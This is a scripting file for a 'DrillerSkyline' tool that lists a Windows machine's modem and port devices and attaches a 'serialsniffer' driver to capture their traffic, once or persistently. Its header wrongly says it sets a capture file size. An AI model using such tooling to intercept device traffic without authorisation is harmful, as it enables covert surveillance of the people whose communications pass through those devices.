#--------------------------------------------------------
# File: SetMaxFileSize.eps
#
# Sets the maximum capture file size for DrillerSkyline tools
#
# Modifications:
#  12/12/2006	Stole from DS
#--------------------------------------------------------

@echo off;

if ($argc != 2) {
    echo "Usage: $argv[0] <driverName>";
    return false;
}

string $driver = $argv[1];

# make sure it's not already installed
ifnot (`regquery -hive L -subkey SYSTEM\\CurrentControlSet\\Services\\$driver`) {
    echo "* $driver is not yet installed";
    return false;
}

string $guidclasses;

$guidclasses[0]  = "Return to main menu";
$guidclasses[1]  = "modem";
$guidclasses[2]  = "ports";
#$guidclasses[3]  = "mouse";
int $manual = sizeof($guidclasses);
$guidclasses[$manual]  = "Enter a device name manually";

while(true) {
	echo "\r\n";
	
	echo "Choose a device class to connect to:";
	int $i = 0;
	while($i < sizeof($guidclasses)) {
		if($i == $manual) {
			echo "";
		}
		echo "($i). $guidclasses[$i]";
		$i++;
	}
	
	int $choice = GetInput("Attach to which device?");
	
	string $targetDevice;
	if($choice == 0) {
		return true;
	} else if($choice == $manual) {
		$targetDevice = GetInput("Enter the device path");
	} else if($choice < $manual) {
		# run devmgr and present the devices
		GetDevice($targetDevice, $guidclasses[$choice]);
	} else if($choice == $manual) {
		$targetDevice = GetInput("Enter the full device name");
	}
	
	if(defined($targetDevice)) {
		echo "Attach to '$targetDevice'";
		
		if(prompt "Would you like to attach to the device immediately?") {
#			@echo on;
			bool $ret = `serialsniffer -driver $driver -attachNow "$targetDevice"`;
#			@echo off;
			if($ret) {
				echo "    SUCCESS";
			} else {
				echo "    FAILED";
			}
		}
		
		if(prompt "Would you like to always attach to this device?") {
#			@echo on;
			bool $ret = `serialsniffer -driver $driver -attachAlways "$targetDevice"`;
#			@echo off;
			if($ret) {
				echo "    SUCCESS";
			} else {
				echo "    FAILED";
			}
		}
	}
	
	pause;
}
return false;

sub GetDevice(REF string $targetDevice, IN string $class) {
	bool $retVal;
	int $offset = 0;
	int $max = 4;
	while(true) {
		echo "";
		echo "";
		@record on;
		$retVal = `devmgr -guidclass $class -offset $offset -max $max`;
		@record off;
		
		ifnot($retVal) {
			echo "Unable to get a list of potential devices";
			return false;
		}
		
		string $friend = GetCmdData("FriendlyName");
		string $physObj = GetCmdData("PhysDevObjName");
		
		int $i = 0;
		int $j = 0;
		echo "(0). Return to previous menu";
		while($i < sizeof($friend)) {
			$j = $i;
			$j++;
			echo "($j). $friend[$i]";
			$i++;
		}
		echo "   (Sometimes, the direct name won't work, but the device name might.)";
		$i = 0;
		int $phys = $j;
		while($i < sizeof($friend)) {
			$j = $i;
			$j++;
			$j += $phys;
			echo "($j). Physical Object '$physObj[$i]' ($friend[$i])";
			$i++;
		}
		$i++;
		$i += $phys;
		if($i > $max) {
			echo "";
			echo "($i). Get more devices";
		}
		
		int $choice = GetInput("Attach to which device?");
		
		if($choice == 0) {
			return false;
		} else if($choice == $i && $i > $max) {
			$offset += $max;
		} else if($choice > 0 && $choice < $phys) {
			$choice--;
			
			$targetDevice = "\\??\\$friend[$choice]";
			return true;
			
		} else if( $choice > 0 && $choice < $i ) {
			$choice--;
			$choice -= $phys;
			$targetDevice = $physObj[$choice];
			return true;
		}
	}
}